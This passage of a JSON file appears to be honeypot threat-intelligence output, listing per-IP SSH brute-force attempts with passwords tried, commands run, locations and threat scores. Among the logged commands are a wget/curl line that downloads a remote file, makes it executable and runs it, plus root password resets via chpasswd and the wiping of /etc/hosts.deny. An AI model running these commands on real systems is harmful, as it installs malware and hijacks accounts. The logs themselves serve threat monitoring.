        "last_seen_30d": "2026-04-08T21:01:51.670000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "165.154.6.69": {
      "attack_count": 168,
      "first_seen": "2026-04-02T22:14:03.733Z",
      "last_seen": "2026-04-02T23:19:31.680Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$%QWERT",
        "123456$",
        "123456@aa",
        "123qwe.com",
        "1qaz@wsx#",
        "3245gs5662d34",
        "345gs5662d34",
        "708090",
        "Admin010",
        "Daniel2025!",
        "P@ssw)rd",
        "Password123456789",
        "asdfg123!@#",
        "exchange",
        "inter123",
        "jx@123",
        "love06",
        "majid123",
        "meghana",
        "rhbcnbyf"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:QjufNDluHtxe\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:14:03.733000+00:00",
        "last_seen_30d": "2026-04-02T23:20:37.898000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "72.56.118.106": {
      "attack_count": 168,
      "first_seen": "2026-04-25T13:27:15.089Z",
      "last_seen": "2026-04-25T14:41:28.861Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "ftproot",
        "ftpuser",
        "kkk",
        "teste",
        "user"
      ],
      "passwords_attempted": [
        "123A123A",
        "345gs5662d34",
        "87654321",
        "987654321",
        "AAxx123",
        "Abcd1234",
        "Cx123456.",
        "DDdd1234",
        "Frappe@",
        "Root4321..",
        "Test15",
        "User!@#",
        "admin10",
        "ftproot",
        "kkk",
        "nPSpP4PBW0",
        "qazwsx2019@",
        "qazwsx@@",
        "root2023!@",
        "test1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qXLKL48mSTeV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:27:15.089000+00:00",
        "last_seen_30d": "2026-04-25T14:42:35.313000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 59
      }
    },
    "89.190.156.106": {
      "attack_count": 168,
      "first_seen": "2026-04-02T15:55:02.119Z",
      "last_seen": "2026-04-02T16:51:01.120Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234511",
        "123qweqweQWE",
        "13102025",
        "1a2b3c4d",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112211..",
        "Admin789",
        "Admin@9000",
        "Asdfg",
        "Cq123456!",
        "Lm123456",
        "a+123456",
        "adrien",
        "carmen",
        "eight8",
        "harald123",
        "r00t123",
        "server2025!@#",
        "stop"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yYvUIyNVQeLo\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T15:55:02.119000+00:00",
        "last_seen_30d": "2026-04-02T16:52:04.830000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "107.174.62.22": {
      "attack_count": 163,
      "first_seen": "2026-04-16T11:40:05.871Z",
      "last_seen": "2026-04-16T12:36:21.130Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "antoine",
        "nginx",
        "sistema",
        "solutec",
        "temp",
        "terrariaserver",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "123!@#",
        "123456",
        "123456a?",
        "123qwe!@#QWE",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd1",
        "Password2025!",
        "Qazwsx654321@#",
        "a12345688",
        "a123456a12",
        "antoine",
        "nginx",
        "now.cn123",
        "q1w2e3r4",
        "qazwsx4321..",
        "root1#",
        "root2022@#",
        "solutec",
        "temp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KUy0LagQcwBM\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:40:05.871000+00:00",
        "last_seen_30d": "2026-04-16T12:37:25.308000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 50
      }
    },
    "151.115.79.175": {
      "attack_count": 150,
      "first_seen": "2026-04-12T01:10:23.730Z",
      "last_seen": "2026-04-12T01:11:49.629Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T23:44:24.164000+00:00",
        "last_seen_30d": "2026-04-12T01:12:57.717000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 61
      }
    },
    "116.110.149.186": {
      "attack_count": 127,
      "first_seen": "2026-04-04T10:19:38.177Z",
      "last_seen": "2026-04-04T10:31:42.233Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "1234",
        "bin",
        "guest1",
        "installer",
        "operator",
        "oracle",
        "rebecca",
        "squid",
        "sync",
        "system",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "12345",
        "123456",
        "12345678",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "admin@123",
        "bin",
        "click1",
        "default",
        "guest1",
        "installer",
        "operator",
        "oracle",
        "p@ssw0rd",
        "password",
        "rebecca"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T10:19:38.177000+00:00",
        "last_seen_30d": "2026-04-04T10:32:47.697000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 127,
        "Suricata": 55
      }
    },
    "105.96.13.6": {
      "attack_count": 109,
      "first_seen": "2026-04-23T07:17:11.117Z",
      "last_seen": "2026-04-23T07:32:59.538Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "forge",
        "345gs5662d34",
        "bitrix",
        "proxyuser",
        "teamspeak",
        "vpn"
      ],
      "passwords_attempted": [
        "123456!",
        "1234567aA",
        "3245gs5662d34",
        "345gs5662d34",
        "Qf123456",
        "Vpn2025",
        "bitrix24",
        "forge",
        "proxyuser",
        "teamspeak3"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"forge\\n5tw8K1UZ5Usl\\n5tw8K1UZ5Usl\\n\"|passwd",
        "echo -e \"forge\\n5tw8K1UZ5Usl\\n5tw8K1UZ5Usl\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Algiers",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:17:11.117000+00:00",
        "last_seen_30d": "2026-04-23T07:33:59.966000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 24
      }
    },
    "124.128.221.98": {
      "attack_count": 75,
      "first_seen": "2026-04-01T18:17:37.256Z",
      "last_seen": "2026-04-02T09:26:50.496Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123!@#qweQWE",
        "1qazXSW@22##",
        "Kc938g#50",
        "Str0ngpA55w0rD",
        "qaz!@#123",
        "qwer123.",
        "server1234@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T18:17:06.945000+00:00",
        "last_seen_30d": "2026-04-05T10:01:20.733000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 55
      }
    },
    "193.142.146.230": {
      "attack_count": 75,
      "first_seen": "2026-04-22T17:58:10.187Z",
      "last_seen": "2026-04-24T18:00:18.754Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "administrator",
        "postgres"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "1234",
        "123456789",
        "administrator",
        "password"
      ],
      "commands_executed": [
        "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.121.79.73/ok; curl -O http://87.121.79.73/ok; chmod 777 ok; sh ok; rm -rf ok; rm -rf ok.*",
        "/bin/sh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.size"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1668,
        "days_active_30d": 24,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T01:35:46.462000+00:00",
        "last_seen_30d": "2026-04-24T18:01:28.352000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1277,
        "Honeytrap": 306,
        "Cowrie": 75,
        "Tanner": 10
      }
    },
    "206.135.161.26": {
      "attack_count": 50,
      "first_seen": "2026-04-16T16:31:29.776Z",
      "last_seen": "2026-04-16T16:36:54.142Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:31:29.776000+00:00",
        "last_seen_30d": "2026-04-16T16:38:01.406000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.168.201.215": {
      "attack_count": 50,
      "first_seen": "2026-04-16T20:06:16.056Z",
      "last_seen": "2026-04-16T20:11:42.322Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T20:06:16.056000+00:00",
        "last_seen_30d": "2026-04-16T20:12:48.072000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "94.243.14.99": {
      "attack_count": 48,
      "first_seen": "2026-04-28T11:03:20.626Z",
      "last_seen": "2026-04-28T11:08:50.323Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:03:20.626000+00:00",
        "last_seen_30d": "2026-04-28T11:09:59.053000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "43.136.110.113": {
      "attack_count": 46,
      "first_seen": "2026-04-01T20:10:58.583Z",
      "last_seen": "2026-04-01T21:01:41.244Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "20261109",
        "3245gs5662d34",
        "345gs5662d34",
        "ABc123456",
        "Passw0rd!@#",
        "joel",
        "passadmin12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:10:58.583000+00:00",
        "last_seen_30d": "2026-04-01T21:02:42.679000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 18
      }
    },
    "164.90.221.223": {
      "attack_count": 45,
      "first_seen": "2026-04-12T06:38:13.831Z",
      "last_seen": "2026-04-14T10:07:11.615Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T06:38:13.831000+00:00",
        "last_seen_30d": "2026-04-14T10:17:07.132000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 34
      }
    },
    "172.93.107.100": {
      "attack_count": 38,
      "first_seen": "2026-04-30T16:17:35.559Z",
      "last_seen": "2026-04-30T16:21:22.120Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:17:35.559000+00:00",
        "last_seen_30d": "2026-04-30T16:22:26.820000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "64.227.159.76": {
      "attack_count": 38,
      "first_seen": "2026-04-10T14:40:00.168Z",
      "last_seen": "2026-04-11T13:50:46.274Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2025!kelltech",
        "2025$Kelltech",
        "2025@Kelltech",
        "2025@kelltech",
        "Kelltech1!",
        "Kelltech2025$",
        "Kelltech2026@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:40:00.168000+00:00",
        "last_seen_30d": "2026-04-11T13:51:54.801000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "72.255.32.208": {
      "attack_count": 38,
      "first_seen": "2026-04-17T11:27:21.318Z",
      "last_seen": "2026-04-23T09:22:23.966Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.7,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T11:27:21.318000+00:00",
        "last_seen_30d": "2026-04-23T09:23:32.122000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "172.104.93.159": {
      "attack_count": 28,
      "first_seen": "2026-04-02T02:28:53.021Z",
      "last_seen": "2026-04-30T06:33:01.128Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 53.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
